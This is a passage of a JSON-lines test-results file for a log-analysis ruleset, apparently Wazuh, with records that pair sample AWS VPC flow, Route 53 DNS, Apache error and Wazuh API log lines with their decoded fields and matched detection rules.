"metadata.product.feature.name", "metadata.product.name", "metadata.product.vendor_name", "metadata.product.version", "metadata.profiles", "metadata.version", "severity", "severity_id", "src_endpoint.instance_uid", "src_endpoint.interface_uid", "src_endpoint.intermediate_ips", "src_endpoint.ip", "src_endpoint.port", "src_endpoint.subnet_uid", "src_endpoint.svc_name", "src_endpoint.vpc_uid", "start_time", "time", "traffic.bytes", "traffic.packets", "type_name", "type_uid", "unmapped"], "rule": "99057", "level": "3", "expected_decoder": "json", "expected_rule": "99057", "rule_matches_expected": true, "ini_file": "amazon_sec_lake.ini", "section": "Amazon Security Lake - VPC - DCE/RPC connection established dst."} +{"log": "{\"metadata\": {\"product\": {\"version\": \"5\", \"name\": \"Amazon VPC\", \"feature\": {\"name\": \"Flowlogs\"}, \"vendor_name\": \"AWS\"}, \"profiles\": [\"cloud\"], \"version\": \"0.39.0\"}, \"cloud\": {\"account_uid\": \"567970947422\", \"region\": \"us-east-1\", \"zone\": \"use1-az4\", \"provider\": \"AWS\"}, \"src_endpoint\": {\"port\": 41354, \"svc_name\": \"-\", \"ip\": \"172.31.17.20\", \"intermediate_ips\": null, \"interface_uid\": \"eni-047062ec08692c9dc\", \"vpc_uid\": \"vpc-f825c385\", \"instance_uid\": \"i-0d9e76e5b1c5e9074\", \"subnet_uid\": \"subnet-4023460d\"}, \"dst_endpoint\": {\"port\": 123, \"svc_name\": \"-\", \"ip\": \"44.190.40.123\", \"intermediate_ips\": null, \"interface_uid\": null, \"vpc_uid\": null, \"instance_uid\": null, \"subnet_uid\": null}, \"connection_info\": {\"protocol_num\": 17, \"tcp_flags\": 0, \"protocol_ver\": \"IPv4\", \"direction\": \"egress\", \"boundary_id\": 5, \"boundary\": \"Internet/VPC Gateway\", \"direction_id\": 2}, \"traffic\": {\"packets\": 1, \"bytes\": 76}, \"time\": 1680290069000, \"start_time\": 1680290069000, \"end_time\": 1680290127000, \"severity_id\": -1, \"severity\": \"Other\", \"class_name\": \"Network Activity\", \"class_uid\": 4001, \"category_name\": \"Network Activity\", \"category_uid\": 4, \"activity_name\": \"Established\", \"activity_id\": 1, \"type_uid\": 400101, \"type_name\": \"Network Activity: Established\", \"unmapped\": [[\"log_status\", \"OK\"], [\"sublocation_id\", \"-\"], [\"sublocation_type\", \"-\"]]}", "decoder": "json", "parent": "", "fields": {"activity_id": "1", "activity_name": "Established", "category_name": "Network Activity", "category_uid": "4", "class_name": "Network Activity", "class_uid": "4001", "cloud.account_uid": "567970947422", "cloud.provider": "AWS", "cloud.region": "us-east-1", "cloud.zone": "use1-az4", "connection_info.boundary": "Internet/VPC Gateway", "connection_info.boundary_id": "5", "connection_info.direction": "egress", "connection_info.direction_id": "2", "connection_info.protocol_num": "17", "connection_info.protocol_ver": "IPv4", "connection_info.tcp_flags": "0", "dst_endpoint.instance_uid": "null", "dst_endpoint.interface_uid": "null", "dst_endpoint.intermediate_ips": "null", "dst_endpoint.ip": "44.190.40.123", "dst_endpoint.port": "123", "dst_endpoint.subnet_uid": "null", "dst_endpoint.svc_name": "-", "dst_endpoint.vpc_uid": "null", "end_time": "1680290127000.000000", "metadata.product.feature.name": "Flowlogs", "metadata.product.name": "Amazon VPC", "metadata.product.vendor_name": "AWS", "metadata.product.version": "5", "metadata.profiles": "['cloud']", "metadata.version": "0.39.0", "severity": "Other", "severity_id": "-1", "src_endpoint.instance_uid": "i-0d9e76e5b1c5e9074", "src_endpoint.interface_uid": "eni-047062ec08692c9dc", "src_endpoint.intermediate_ips": "null", "src_endpoint.ip": "172.31.17.20", "src_endpoint.port": "41354", "src_endpoint.subnet_uid": "subnet-4023460d", "src_endpoint.svc_name": "-", "src_endpoint.vpc_uid": "vpc-f825c385", "start_time": "1680290069000.000000", "time": "1680290069000.000000", "traffic.bytes": "76", "traffic.packets": "1", "type_name": "Network Activity: Established", "type_uid": "400101", "unmapped": "[['log_status', 'OK'], ['sublocation_id', '-'], ['sublocation_type', '-']]"}, "field_names": ["activity_id", "activity_name", "category_name", "category_uid", "class_name", "class_uid", "cloud.account_uid", "cloud.provider", "cloud.region", "cloud.zone", "connection_info.boundary", "connection_info.boundary_id", "connection_info.direction", "connection_info.direction_id", "connection_info.protocol_num", "connection_info.protocol_ver", "connection_info.tcp_flags", "dst_endpoint.instance_uid", "dst_endpoint.interface_uid", "dst_endpoint.intermediate_ips", "dst_endpoint.ip", "dst_endpoint.port", "dst_endpoint.subnet_uid", "dst_endpoint.svc_name", "dst_endpoint.vpc_uid", "end_time", "metadata.product.feature.name", "metadata.product.name", "metadata.product.vendor_name", "metadata.product.version", "metadata.profiles", "metadata.version", "severity", "severity_id", "src_endpoint.instance_uid", "src_endpoint.interface_uid", "src_endpoint.intermediate_ips", "src_endpoint.ip", "src_endpoint.port", "src_endpoint.subnet_uid", "src_endpoint.svc_name", "src_endpoint.vpc_uid", "start_time", "time", "traffic.bytes", "traffic.packets", "type_name", "type_uid", "unmapped"], "rule": "99058", "level": "3", "expected_decoder": "json", "expected_rule": "99058", "rule_matches_expected": true, "ini_file": "amazon_sec_lake.ini", "section": "Amazon Security Lake - VPC - DCE/RPC connection established src."} +{"log": "{\"metadata\": {\"product\": {\"version\": \"1.100000\", \"name\": \"Route 53\", \"feature\": {\"name\": \"Resolver Query Logs\"}, \"vendor_name\": \"AWS\"}, \"profiles\": [\"cloud\"], \"version\": \"0.26.1\"}, \"cloud\": {\"account_uid\": \"567970947422\", \"region\": \"us-east-1\", \"provider\": \"AWS\"}, \"src_endpoint\": {\"vpc_uid\": \"vpc-f825c385\", \"ip\": \"172.31.6.147\", \"port\": 35646, \"instance_uid\": \"i-0ade6659862bbc885\"}, \"time\": 1680601347000, \"query\": {\"hostname\": \"s3-r-w.dualstack.us-east-1.amazonaws.com.\", \"type\": \"AAAA\", \"class\": \"IN\"}, \"rcode\": \"NOERROR\", \"answers\": [{\"type\": \"AAAA\", \"rdata\": \"2600:1fa0:80b4:db08:34d9:6f20::\", \"class\": \"IN\"}, {\"type\": \"AAAA\", \"rdata\": \"2600:1fa0:81ef:9d31:34d8:d68a::\", \"class\": \"IN\"}, {\"type\": \"AAAA\", \"rdata\": \"2600:1fa0:811b:a2e1:34d8:3e1a::\", \"class\": \"IN\"}, {\"type\": \"AAAA\", \"rdata\": \"2600:1fa0:816f:9968:34d9:7122::\", \"class\": \"IN\"}, {\"type\": \"AAAA\", \"rdata\": \"2600:1fa0:81eb:a321:34d8:de0a::\", \"class\": \"IN\"}, {\"type\": \"AAAA\", \"rdata\": \"2600:1fa0:8095:39c1:34d8:fa58::\", \"class\": \"IN\"}, {\"type\": \"AAAA\", \"rdata\": \"2600:1fa0:8038:4a81:34d9:53b8::\", \"class\": \"IN\"}, {\"type\": \"AAAA\", \"rdata\": \"2600:1fa0:81ab:9269:34d8:29fa::\", \"class\": \"IN\"}], \"connection_info\": {\"protocol_name\": \"UDP\", \"direction\": \"Unknown\", \"direction_id\": 0}, \"dst_endpoint\": {\"instance_uid\": null, \"interface_uid\": null}, \"severity_id\": -1, \"severity\": \"Other\", \"class_name\": \"DNS Activity\", \"class_uid\": 4003, \"category_name\": \"Network Activity\", \"category_uid\": 4, \"rcode_id\": 0, \"activity_id\": 1, \"activity_name\": \"Resolved\", \"type_name\": \"DNS Activity: Resolved\", \"type_uid\": 400301, \"unmapped\": null}", "decoder": "json", "parent": "", "fields": {"activity_id": "1", "activity_name": "Resolved", "answers": "[{'type': 'AAAA', 'rdata': '2600:1fa0:80b4:db08:34d9:6f20::', 'class': 'IN'}, {'type': 'AAAA', 'rdata': '2600:1fa0:81ef:9d31:34d8:d68a::', 'class': 'IN'}, {'type': 'AAAA', 'rdata': '2600:1fa0:811b:a2e1:34d8:3e1a::', 'class': 'IN'}, {'type': 'AAAA', 'rdata': '2600:1fa0:816f:9968:34d9:7122::', 'class': 'IN'}, {'type': 'AAAA', 'rdata': '2600:1fa0:81eb:a321:34d8:de0a::', 'class': 'IN'}, {'type': 'AAAA', 'rdata': '2600:1fa0:8095:39c1:34d8:fa58::', 'class': 'IN'}, {'type': 'AAAA', 'rdata': '2600:1fa0:8038:4a81:34d9:53b8::', 'class': 'IN'}, {'type': 'AAAA', 'rdata': '2600:1fa0:81ab:9269:34d8:29fa::', 'class': 'IN'}]", "category_name": "Network Activity", "category_uid": "4", "class_name": "DNS Activity", "class_uid": "4003", "cloud.account_uid": "567970947422", "cloud.provider": "AWS", "cloud.region": "us-east-1", "connection_info.direction": "Unknown", "connection_info.direction_id": "0", "connection_info.protocol_name": "UDP", "dst_endpoint.instance_uid": "null", "dst_endpoint.interface_uid": "null", "metadata.product.feature.name": "Resolver Query Logs", "metadata.product.name": "Route 53", "metadata.product.vendor_name": "AWS", "metadata.product.version": "1.100000", "metadata.profiles": "['cloud']", "metadata.version": "0.26.1", "query.class": "IN", "query.hostname": "s3-r-w.dualstack.us-east-1.amazonaws.com.", "query.type": "AAAA", "rcode": "NOERROR", "rcode_id": "0", "severity": "Other", "severity_id": "-1", "src_endpoint.instance_uid": "i-0ade6659862bbc885", "src_endpoint.ip": "172.31.6.147", "src_endpoint.port": "35646", "src_endpoint.vpc_uid": "vpc-f825c385", "time": "1680601347000.000000", "type_name": "DNS Activity: Resolved", "type_uid": "400301", "unmapped": "null"}, "field_names": ["activity_id", "activity_name", "answers", "category_name", "category_uid", "class_name", "class_uid", "cloud.account_uid", "cloud.provider", "cloud.region", "connection_info.direction", "connection_info.direction_id", "connection_info.protocol_name", "dst_endpoint.instance_uid", "dst_endpoint.interface_uid", "metadata.product.feature.name", "metadata.product.name", "metadata.product.vendor_name", "metadata.product.version", "metadata.profiles", "metadata.version", "query.class", "query.hostname", "query.type", "rcode", "rcode_id", "severity", "severity_id", "src_endpoint.instance_uid", "src_endpoint.ip", "src_endpoint.port", "src_endpoint.vpc_uid", "time", "type_name", "type_uid", "unmapped"], "rule": "99080", "level": "3", "expected_decoder": "json", "expected_rule": "99080", "rule_matches_expected": true, "ini_file": "amazon_sec_lake.ini", "section": "Amazon Security Lake - Route 53 - Succsessful DNS request query type hostname from srcip."} +{"log": "{\"metadata\": {\"product\": {\"version\": \"1.100000\", \"name\": \"Route 53\", \"feature\": {\"name\": \"Resolver Query Logs\"}, \"vendor_name\": \"AWS\"}, \"profiles\": [\"cloud\"], \"version\": \"0.26.1\"}, \"cloud\": {\"account_uid\": \"567970947422\", \"region\": \"us-east-1\", \"provider\": \"AWS\"}, \"src_endpoint\": {\"vpc_uid\": \"vpc-f825c385\", \"ip\": \"172.31.26.42\", \"port\": 35540, \"instance_uid\": \"i-0710bad5b508b7466\"}, \"time\": 1680552621000, \"query\": {\"hostname\": \"94-153-212-78.ip.kyivstar.net.ec2.internal.\", \"type\": \"A\", \"class\": \"IN\"}, \"rcode\": \"NXDOMAIN\", \"answers\": [], \"connection_info\": {\"protocol_name\": \"UDP\", \"direction\": \"Unknown\", \"direction_id\": 0}, \"dst_endpoint\": {\"instance_uid\": null, \"interface_uid\": null}, \"severity_id\": -1, \"severity\": \"Other\", \"class_name\": \"DNS Activity\", \"class_uid\": 4003, \"category_name\": \"Network Activity\", \"category_uid\": 4, \"rcode_id\": 3, \"activity_id\": 2, \"activity_name\": \"Unresolved\", \"type_name\": \"DNS Activity: Unresolved\", \"type_uid\": 400302, \"unmapped\": null}", "decoder": "json", "parent": "", "fields": {"activity_id": "2", "activity_name": "Unresolved", "answers": "[]", "category_name": "Network Activity", "category_uid": "4", "class_name": "DNS Activity", "class_uid": "4003", "cloud.account_uid": "567970947422", "cloud.provider": "AWS", "cloud.region": "us-east-1", "connection_info.direction": "Unknown", "connection_info.direction_id": "0", "connection_info.protocol_name": "UDP", "dst_endpoint.instance_uid": "null", "dst_endpoint.interface_uid": "null", "metadata.product.feature.name": "Resolver Query Logs", "metadata.product.name": "Route 53", "metadata.product.vendor_name": "AWS", "metadata.product.version": "1.100000", "metadata.profiles": "['cloud']", "metadata.version": "0.26.1", "query.class": "IN", "query.hostname": "94-153-212-78.ip.kyivstar.net.ec2.internal.", "query.type": "A", "rcode": "NXDOMAIN", "rcode_id": "3", "severity": "Other", "severity_id": "-1", "src_endpoint.instance_uid": "i-0710bad5b508b7466", "src_endpoint.ip": "172.31.26.42", "src_endpoint.port": "35540", "src_endpoint.vpc_uid": "vpc-f825c385", "time": "1680552621000.000000", "type_name": "DNS Activity: Unresolved", "type_uid": "400302", "unmapped": "null"}, "field_names": ["activity_id", "activity_name", "answers", "category_name", "category_uid", "class_name", "class_uid", "cloud.account_uid", "cloud.provider", "cloud.region", "connection_info.direction", "connection_info.direction_id", "connection_info.protocol_name", "dst_endpoint.instance_uid", "dst_endpoint.interface_uid", "metadata.product.feature.name", "metadata.product.name", "metadata.product.vendor_name", "metadata.product.version", "metadata.profiles", "metadata.version", "query.class", "query.hostname", "query.type", "rcode", "rcode_id", "severity", "severity_id", "src_endpoint.instance_uid", "src_endpoint.ip", "src_endpoint.port", "src_endpoint.vpc_uid", "time", "type_name", "type_uid", "unmapped"], "rule": "99081", "level": "3", "expected_decoder": "json", "expected_rule": "99081", "rule_matches_expected": true, "ini_file": "amazon_sec_lake.ini", "section": "Amazon Security Lake - Route 53 - Failed DNS request for a Non-Existent Domain query type hostname from srcip."} +{"log": "{\"metadata\": {\"product\": {\"version\": \"1.100000\", \"name\": \"Route 53\", \"feature\": {\"name\": \"Resolver Query Logs\"}, \"vendor_name\": \"AWS\"}, \"profiles\": [\"cloud\"], \"version\": \"0.26.1\"}, \"cloud\": {\"account_uid\": \"567970947422\", \"region\": \"us-east-1\", \"provider\": \"AWS\"}, \"src_endpoint\": {\"vpc_uid\": \"vpc-f825c385\", \"ip\": \"172.31.26.42\", \"port\": 37822, \"instance_uid\": \"i-0710bad5b508b7466\"}, \"time\": 1680552600000, \"query\": {\"hostname\": \"229.65.70.202.in-addr.arpa.\", \"type\": \"PTR\", \"class\": \"IN\"}, \"rcode\": \"\", \"answers\": [], \"connection_info\": {\"protocol_name\": \"UDP\", \"direction\": \"Unknown\", \"direction_id\": 0}, \"dst_endpoint\": {\"instance_uid\": null, \"interface_uid\": null}, \"severity_id\": -1, \"severity\": \"Other\", \"class_name\": \"DNS Activity\", \"class_uid\": 4003, \"category_name\": \"Network Activity\", \"category_uid\": 4, \"rcode_id\": -1, \"activity_id\": -1, \"activity_name\": \"Unknown\", \"type_name\": \"DNS Activity: Unknown\", \"type_uid\": 400300, \"unmapped\": null}", "decoder": "json", "parent": "", "fields": {"activity_id": "-1", "activity_name": "Unknown", "answers": "[]", "category_name": "Network Activity", "category_uid": "4", "class_name": "DNS Activity", "class_uid": "4003", "cloud.account_uid": "567970947422", "cloud.provider": "AWS", "cloud.region": "us-east-1", "connection_info.direction": "Unknown", "connection_info.direction_id": "0", "connection_info.protocol_name": "UDP", "dst_endpoint.instance_uid": "null", "dst_endpoint.interface_uid": "null", "metadata.product.feature.name": "Resolver Query Logs", "metadata.product.name": "Route 53", "metadata.product.vendor_name": "AWS", "metadata.product.version": "1.100000", "metadata.profiles": "['cloud']", "metadata.version": "0.26.1", "query.class": "IN", "query.hostname": "229.65.70.202.in-addr.arpa.", "query.type": "PTR", "rcode_id": "-1", "severity": "Other", "severity_id": "-1", "src_endpoint.instance_uid": "i-0710bad5b508b7466", "src_endpoint.ip": "172.31.26.42", "src_endpoint.port": "37822", "src_endpoint.vpc_uid": "vpc-f825c385", "time": "1680552600000.000000", "type_name": "DNS Activity: Unknown", "type_uid": "400300", "unmapped": "null"}, "field_names": ["activity_id", "activity_name", "answers", "category_name", "category_uid", "class_name", "class_uid", "cloud.account_uid", "cloud.provider", "cloud.region", "connection_info.direction", "connection_info.direction_id", "connection_info.protocol_name", "dst_endpoint.instance_uid", "dst_endpoint.interface_uid", "metadata.product.feature.name", "metadata.product.name", "metadata.product.vendor_name", "metadata.product.version", "metadata.profiles", "metadata.version", "query.class", "query.hostname", "query.type", "rcode_id", "severity", "severity_id", "src_endpoint.instance_uid", "src_endpoint.ip", "src_endpoint.port", "src_endpoint.vpc_uid", "time", "type_name", "type_uid", "unmapped"], "rule": "99082", "level": "3", "expected_decoder": "json", "expected_rule": "99082", "rule_matches_expected": true, "ini_file": "amazon_sec_lake.ini", "section": "Amazon Security Lake - Route 53 - Failed DNS request query type hostname from srcip."} +{"log": "[error] [client 80.230.208.105] Directory index forbidden by rule: /home/", "decoder": "apache-errorlog", "parent": "apache-errorlog", "fields": {"srcip": "80.230.208.105"}, "field_names": ["srcip"], "rule": "30106", "level": "5", "expected_decoder": "apache-errorlog", "expected_rule": "30106", "rule_matches_expected": true, "ini_file": "apache.ini", "section": "Apache: Attempt to access forbidden directory index."} +{"log": "[error] [client 64.94.163.159] Client sent malformed Host header", "decoder": "apache-errorlog", "parent": "apache-errorlog", "fields": {"srcip": "64.94.163.159"}, "field_names": ["srcip"], "rule": "30107", "level": "6", "expected_decoder": "apache-errorlog", "expected_rule": "30107", "rule_matches_expected": true, "ini_file": "apache.ini", "section": "Apache: Code Red attack."} +{"log": "[error] [client 66.31.142.16] File does not exist: /var/www/html/default.ida", "decoder": "apache-errorlog", "parent": "apache-errorlog", "fields": {"srcip": "66.31.142.16"}, "field_names": ["srcip"], "rule": "30112", "level": "0", "expected_decoder": "apache-errorlog", "expected_rule": "30112", "rule_matches_expected": true, "ini_file": "apache.ini", "section": "Apache: Attempt to access an non-existent file."} +{"log": "[notice] Apache configured", "decoder": "apache-errorlog", "parent": "", "fields": {}, "field_names": [], "rule": "30103", "level": "0", "expected_decoder": "apache-errorlog", "expected_rule": "30103", "rule_matches_expected": true, "ini_file": "apache.ini", "section": "Apache: Notice messages grouped."} +{"log": "[Fri Dec 13 06:59:54 2013] [error] [client 12.34.65.78] PHP Notice:", "decoder": "apache-errorlog", "parent": "apache-errorlog", "fields": {"srcip": "12.34.65.78"}, "field_names": ["srcip"], "rule": "30101", "level": "0", "expected_decoder": "apache-errorlog", "expected_rule": "30101", "rule_matches_expected": true, "ini_file": "apache.ini", "section": "Apache: Apache 2.2 error messages grouped."} +{"log": "[Tue Sep 30 11:30:13.262255 2014] [core:error] [pid 20101] [client 99.47.227.95:34567] AH00037: Symbolic link not allowed or link target not accessible: /usr/share/awstats/icon/mime/document.png", "decoder": "apache-errorlog", "parent": "apache-errorlog", "fields": {"id": "AH00037", "srcip": "99.47.227.95", "srcport": "34567"}, "field_names": ["id", "srcip", "srcport"], "rule": "30301", "level": "0", "expected_decoder": "apache-errorlog", "expected_rule": "30301", "rule_matches_expected": true, "ini_file": "apache.ini", "section": "Apache: Apache 2.4 error messages grouped."} +{"log": "[Tue Sep 30 12:11:21.258612 2014] [ssl:error] [pid 30473] AH02032: Hostname www.example.com provided via SNI and hostname ssl://www.example.com provided via HTTP are different", "decoder": "apache-errorlog", "parent": "", "fields": {}, "field_names": [], "rule": "30301", "level": "0", "expected_decoder": "apache-errorlog", "expected_rule": "30301", "rule_matches_expected": true, "ini_file": "apache.ini", "section": "Apache: Apache 2.4 error messages grouped."} +{"log": "[Tue Sep 30 12:24:22.891366 2014] [proxy:warn] [pid 2331] [client 77.127.180.111:54082] AH01136: Unescaped URL path matched ProxyPass; ignoring unsafe nocanon, referer: http://www.easylinker.co.il/he/links.aspx?user=bguyb", "decoder": "apache-errorlog", "parent": "apache-errorlog", "fields": {"id": "AH01136", "srcip": "77.127.180.111", "srcport": "54082"}, "field_names": ["id", "srcip", "srcport"], "rule": "30302", "level": "0", "expected_decoder": "apache-errorlog", "expected_rule": "30302", "rule_matches_expected": true, "ini_file": "apache.ini", "section": "Apache: Apache 2.4 warn messages grouped."} +{"log": "[Tue Sep 30 14:25:44.895897 2014] [authz_core:error] [pid 31858] [client 99.47.227.95:38870] AH01630: client denied by server configuration: /var/www/example.com/docroot/", "decoder": "apache-errorlog", "parent": "apache-errorlog", "fields": {"id": "AH01630", "srcip": "99.47.227.95", "srcport": "38870"}, "field_names": ["id", "srcip", "srcport"], "rule": "30305", "level": "5", "expected_decoder": "apache-errorlog", "expected_rule": "30305", "rule_matches_expected": true, "ini_file": "apache.ini", "section": "Apache: Attempt to access forbidden file or directory."} +{"log": "[Thu Oct 23 15:17:55.926067 2014] [ssl:info] [pid 18838] [client 36.226.119.49:2359] AH02008: SSL library error 1 in handshake (server www.example.com:443)", "decoder": "apache-errorlog", "parent": "apache-errorlog", "fields": {"id": "AH02008", "srcip": "36.226.119.49", "srcport": "2359"}, "field_names": ["id", "srcip", "srcport"], "rule": "30100", "level": "0", "expected_decoder": "apache-errorlog", "expected_rule": "30100", "rule_matches_expected": true, "ini_file": "apache.ini", "section": "Apache: Messages grouped"} +{"log": "[Thu Oct 23 15:17:55.926123 2014] [ssl:info] [pid 18838] SSL Library Error: error:1407609B:SSL routines:SSL23_GET_CLIENT_HELLO:https proxy request -- speaking HTTP to HTTPS port!?", "decoder": "apache-errorlog", "parent": "", "fields": {}, "field_names": [], "rule": "30100", "level": "0", "expected_decoder": "apache-errorlog", "expected_rule": "30100", "rule_matches_expected": true, "ini_file": "apache.ini", "section": "Apache: Messages grouped"} +{"log": "[Sun Nov 23 18:49:01.713508 2014] [:error] [pid 15816] [client 141.8.147.9:51507] PHP Notice: A non well formed numeric value encountered in /path/to/file.php on line 123", "decoder": "apache-errorlog", "parent": "apache-errorlog", "fields": {"srcip": "141.8.147.9", "srcport": "51507"}, "field_names": ["srcip", "srcport"], "rule": "30318", "level": "5", "expected_decoder": "apache-errorlog", "expected_rule": "30318", "rule_matches_expected": true, "ini_file": "apache.ini", "section": "Apache: PHP Notices in Apache 2.4 errorlog"} +{"log": "2021/10/05 10:33:18 INFO: testing 172.21.0.1 \"GET /agents/upgrade_result\" with parameters {\"agents_list\": \"bad_id\"} and body {} done in 0.006s: 400", "decoder": "wazuh-api", "parent": "", "fields": {"api-parameters": "\"agents_list\": \"bad_id\"", "dstuser": "testing", "endpoint": "GET /agents/upgrade_result", "event-time": "2021/10/05 10:33:18", "http_status_code": "400", "method": "GET", "srcip": "172.21.0.1", "type": "INFO", "uri": "/agents/upgrade_result"}, "field_names": ["api-parameters", "dstuser", "endpoint", "event-time", "http_status_code", "method", "srcip", "type", "uri"], "rule": "410", "level": "4", "expected_decoder": "wazuh-api", "expected_rule": "410", "rule_matches_expected": true, "ini_file": "api.ini", "section": "API bad request"} +{"log": "2021/10/05 10:33:18 INFO: testing 172.21.0.1 \"GET /agents/upgrade_result\" with parameters {\"agents_list\": \"bad_id\"} and body {} done in 0.006s: 401", "decoder": "wazuh-api", "parent": "", "fields": {"api-parameters": "\"agents_list\": \"bad_id\"", "dstuser": "testing", "endpoint": "GET /agents/upgrade_result", "event-time": "2021/10/05 10:33:18", "http_status_code": "401", "method": "GET", "srcip": "172.21.0.1", "type": "INFO", "uri": "/agents/upgrade_result"}, "field_names": ["api-parameters", "dstuser", "endpoint", "event-time", "http_status_code", "method", "srcip", "type", "uri"], "rule": "411", "level": "8", "expected_decoder": "wazuh-api", "expected_rule": "411", "rule_matches_expected": true, "ini_file": "api.ini", "section": "API Unauthorized"} +{"log": "2021/10/04 15:23:55 INFO: unknown_user 172.18.0.1 \"GET /agents/upgrade_result\" with parameters {\"agents_list\": \"bad_id\"} and body {} done in 0.001s: 403", "decoder": "wazuh-api", "parent": "", "fields": {"api-parameters": "\"agents_list\": \"bad_id\"", "dstuser": "unknown_user", "endpoint": "GET /agents/upgrade_result", "event-time": "2021/10/04 15:23:55", "http_status_code": "403", "method": "GET", "srcip": "172.18.0.1", "type": "INFO", "uri": "/agents/upgrade_result"}, "field_names": ["api-parameters", "dstuser", "endpoint", "event-time", "http_status_code", "method", "srcip", "type", "uri"], "rule": "412", "level": "7", "expected_decoder": "wazuh-api", "expected_rule": "412", "rule_matches_expected": true, "ini_file": "api.ini", "section": "API's response code returned error: Permission denied."} +{"log": "2021/10/05 10:33:18 INFO: testing 172.21.0.1 \"GET /agents/upgrade_result\" with parameters {\"agents_list\": \"bad_id\"} and body {} done in 0.006s: 404", "decoder": "wazuh-api", "parent": "", "fields": {"api-parameters": "\"agents_list\": \"bad_id\"", "dstuser": "testing", "endpoint": "GET /agents/upgrade_result", "event-time": "2021/10/05 10:33:18", "http_status_code": "404", "method": "GET", "srcip": "172.21.0.1", "type": "INFO", "uri": "/agents/upgrade_result"}, "field_names": ["api-parameters", "dstuser", "endpoint", "event-time", "http_status_code", "method", "srcip", "type", "uri"], "rule": "413", "level": "4", "expected_decoder": "wazuh-api", "expected_rule": "413", "rule_matches_expected": true, "ini_file": "api.ini", "section": "Resource not found"} +{"log": "2021/10/05 10:33:18 INFO: testing 172.21.0.1 \"GET /agents/upgrade_result\" with parameters {\"agents_list\": \"bad_id\"} and body {} done in 0.006s: 405", "decoder": "wazuh-api", "parent": "", "fields": {"api-parameters": "\"agents_list\": \"bad_id\"", "dstuser": "testing", "endpoint": "GET /agents/upgrade_result", "event-time": "2021/10/05 10:33:18", "http_status_code": "405", "method": "GET", "srcip": "172.21.0.1", "type": "INFO", "uri": "/agents/upgrade_result"}, "field_names": ["api-parameters", "dstuser", "endpoint", "event-time", "http_status_code", "method", "srcip", "type", "uri"], "rule": "414", "level": "4", "expected_decoder": "wazuh-api", "expected_rule": "414", "rule_matches_expected": true, "ini_file": "api.ini", "section": "Invalid HTTP method"} +{"log": "2021/10/05 10:33:18 INFO: testing 172.21.0.1 \"GET /agents/upgrade_result\" with parameters {\"agents_list\": \"bad_id\"} and body {} done in 0.006s: 406", "decoder": "wazuh-api", "parent": "", "fields": {"api-parameters": "\"agents_list\": \"bad_id\"", "dstuser": "testing", "endpoint": "GET /agents/upgrade_result", "event-time": "2021/10/05 10:33:18", "http_status_code": "406", "method": "GET", "srcip": "172.21.0.1", "type": "INFO", "uri": "/agents/upgrade_result"}, "field_names": ["api-parameters", "dstuser", "endpoint", "event-time", "http_status_code", "method", "srcip", "type", "uri"], "rule": "415", "level": "4", "expected_decoder": "wazuh-api", "expected_rule": "415", "rule_matches_expected": true, "ini_file": "api.ini", "section": "Invalid content-type"} +{"log": "2021/10/05 10:33:18 INFO: testing 172.21.0.1 \"GET /agents/upgrade_result\" with parameters {\"agents_list\": \"bad_id\"} and body {} done in 0.006s: 413", "decoder": "wazuh-api", "parent": "", "fields": {"api-parameters": "\"agents_list\": \"bad_id\"", "dstuser": "testing", "endpoint": "GET /agents/upgrade_result", "event-time": "2021/10/05 10:33:18", "http_status_code": "413", "method": "GET", "srcip": "172.21.0.1", "type": "INFO", "uri": "/agents/upgrade_result"}, "field_names": ["api-parameters", "dstuser", "endpoint", "event-time", "http_status_code", "method", "srcip", "type", "uri"], "rule": "416", "level": "4", "expected_decoder": "wazuh-api", "expected_rule": "416", "rule_matches_expected": true, "ini_file": "api.ini", "section": "Maximum request body size exceeded"} +{"log": "2021/10/05 10:33:18 INFO: testing 172.21.0.1 \"GET /agents/upgrade_result\" with parameters {\"agents_list\": \"bad_id\"} and body {} done in 0.006s: 429", "decoder": "wazuh-api", "parent": "", "fields": {"api-parameters": "\"agents_list\": \"bad_id\"", "dstuser": "testing", "endpoint": "GET /agents/upgrade_result", "event-time": "2021/10/05 10:33:18", "http_status_code": "429", "method": "GET", "srcip": "172.21.0.1", "type": "INFO", "uri": "/agents/upgrade_result"}, "field_names": ["api-parameters", "dstuser", "endpoint", "event-time", "http_status_code", "method", "srcip", "type", "uri"], "rule": "417", "level": "7", "expected_decoder": "wazuh-api", "expected_rule": "417", "rule_matches_expected": true, "ini_file": "api.ini", "section": "Max number of requests per minute reached"} +{"log": "2021/10/05 10:33:18 INFO: testing 172.21.0.1 \"GET /agents/upgrade_result\" with parameters {\"agents_list\": \"bad_id\"} and body {} done in 0.006s: 500", "decoder": "wazuh-api", "parent": "", "fields": {"api-parameters": "\"agents_list\": \"bad_id\"", "dstuser": "testing", "endpoint": "GET /agents/upgrade_result", "event-time": "2021/10/05 10:33:18", "http_status_code": "500", "method": "GET", "srcip": "172.21.0.1", "type": "INFO", "uri": "/agents/upgrade_result"}, "field_names": ["api-parameters", "dstuser", "endpoint", "event-time", "http_status_code", "method", "srcip", "type", "uri"], "rule": "418", "level": "4", "expected_decoder": "wazuh-api", "expected_rule": "418", "rule_matches_expected": true, "ini_file": "api.ini", "section": "Internal error"} +{"log": "2021/04/20 16:00:35 INFO: wazuh 127.0.0.1 \"PUT /agents/group\" with parameters {\"group_id\": \"group1\", \"agents_list\":629,650,654,682\"} and body {} done in 0.075s: 200", "decoder": "wazuh-api", "parent": "", "fields": {"api-parameters": "\"group_id\": \"group1\", \"agents_list\":629,650,654,682\"", "dstuser": "wazuh", "endpoint": "PUT /agents/group", "event-time": "2021/04/20 16:00:35", "http_status_code": "200", "method": "PUT", "srcip": "127.0.0.1", "type": "INFO", "uri": "/agents/group"}, "field_names": ["api-parameters", "dstuser", "endpoint", "event-time", "http_status_code", "method", "srcip", "type", "uri"], "rule": "407", "level": "5", "expected_decoder": "wazuh-api", "expected_rule": "407", "rule_matches_expected": true, "ini_file": "api.ini", "section": "API's PUT method event"} +{"log": "2021/10/05 10:33:14 INFO: testing 172.21.0.1 \"GET /agents/stats/distinct\" with parameters {\"fields\": \"os.name\"} and body {} done in 0.009s: 200", "decoder": "wazuh-api", "parent": "", "fields": {"api-parameters": "\"fields\": \"os.name\"", "dstuser": "testing", "endpoint": "GET /agents/stats/distinct", "event-time": "2021/10/05 10:33:14", "http_status_code": "200", "method": "GET", "srcip": "172.21.0.1", "type": "INFO", "uri": "/agents/stats/distinct"}, "field_names": ["api-parameters", "dstuser", "endpoint", "event-time", "http_status_code", "method", "srcip", "type", "uri"], "rule": "406", "level": "4", "expected_decoder": "wazuh-api", "expected_rule": "406", "rule_matches_expected": true, "ini_file": "api.ini", "section": "API's GET method event success"} +{"log": "2021/10/07 10:46:00 INFO: wazuh-wui 